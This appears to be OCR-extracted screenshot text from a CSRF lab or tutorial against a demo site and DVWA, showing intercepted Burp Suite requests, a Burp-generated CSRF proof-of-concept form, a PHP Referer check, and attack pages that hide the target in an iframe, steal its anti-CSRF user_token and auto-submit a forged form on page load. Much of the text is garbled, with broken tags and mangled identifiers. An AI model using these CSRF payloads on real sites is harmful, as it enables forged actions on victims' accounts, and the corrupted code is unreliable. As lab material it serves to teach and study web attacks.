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Burp Project Intruder
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Intercept  HTTP histon

Request to http
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Params Headers Hex
POST /csrf 2.php HTTP/1.1
Host: www.csrf demo.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0
Accept: text/html,application/xhtml+xml, application/xml;q=0.¢

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=------------

Content-Length: 351

Referer: http://wwwi.csrf demo.com/csrf 2.php?url=csrf 2. php
Cookie: username=admin; password=admin; PHPSESSID=guh

Connection: close
Upgrade-Insecure-Requests: 1

————————————————————————————— 15295535319406
Content-Disposition: form-data; name="username

n

————————————————————————————— 15295535319406
Content-Disposition: form-data; name="password"

----------------------------- 15295535319406
Content-Disposition: form-data; name="submit"

----------------------------- 15295535319406--
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POST fcsrf 2.php HTTP/1.1

Host: www.csrf_demo.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101
Firefox/56.0

Accept text/html application/xhtml+xml,application/xml;q=0.9,*/*,q=0.8
Accept Language zh-CN,zh;q=0.8,en-US;q=0.5en;q=0.3

CSRF HTML

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -- >

< tnrm action="http://v srf_demo.com/csrf 2.php" method="POST"

enctype="multipart/form-data" >

<input type="hidden" name="pa d” value="2

<input type="hidden" name="submit" value="
/>
<input type="submit" value="Submit request" />
<fform>
</body >
< fhtml>
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if(@!eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] )){

js_alert("&EflcsrfIadi ! WL ", "#');

exit;

$username = $_SESSION[ 'username'];
if(isset($_POST['checkbox'])){
$checkbox = $_POST[ 'checkbox'];
echo "<font size=5>".$username." P &IF! BIWLKITEINT : </Font><br><br>";
echo "<font size=4>".implode(',"',$checkbox)."</font>";
}else{
js_alert("HRFEFEWEMFER! ", "#");
}
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Host: www.csrf_demo.com
™ mend e d | s a ke, F AR
Cache-Control: max-age=0
Origin: null
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW®64) AppleWebKit/53
¢ Content-Type: multipart/form-data; boundary=----WebKitFormBounc

Accept: text/html application/xhtml+xml.application/xml;q=0.9,image

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.8

Cookie: PHPSESSID=leciev38vm2thkvtdpiqun35v5

Connection: close
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<script type="text/javascript">
function attack()
{
document.getElementsByName ('user token')

[0] .value=document.getElementById ("hack"”) .contentWindow.document . getElementsByllame ("uger token') [0].value;

document .getElementById ("transfer"”) .submit () ;
}
| </script>
<iframe 5rc="http:ffwww.csrf_demﬂ.comfcsrf_&.php?url=c3rf_4.php" id="hack" border="0" style="display:none:;">
</iframe>
<body onload="attack() ">
<«form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf">

<ipput tvpe="hidden" name="username" wvalue="username">

br
br

" type="t idden">

input onclick="return checkFile()" name="submit"” value type="submit
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<iframe src="http://www.csrf_demo.com/csrf_4.php?url=csrf_4.php" id="hack" border="0" style="display:none;">
</iframe>
<body onload="attack()">

<form method="GET" id="transfer" name="transfer" action="http://www.csrf_demo.com/csrf_4.php?

url=csrf_4.php">

<input type="hidden" name="username" value="222">
<input type="hidden" name="password" value="222">
>

<input type="hidden" name="user_token" value=
<input type="submit" name="submit" value="submit">
</form>

</body>
<script type="text/javascript">
function attack(){

document.getElementsByName( 'user_token')
[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;

}

</script>
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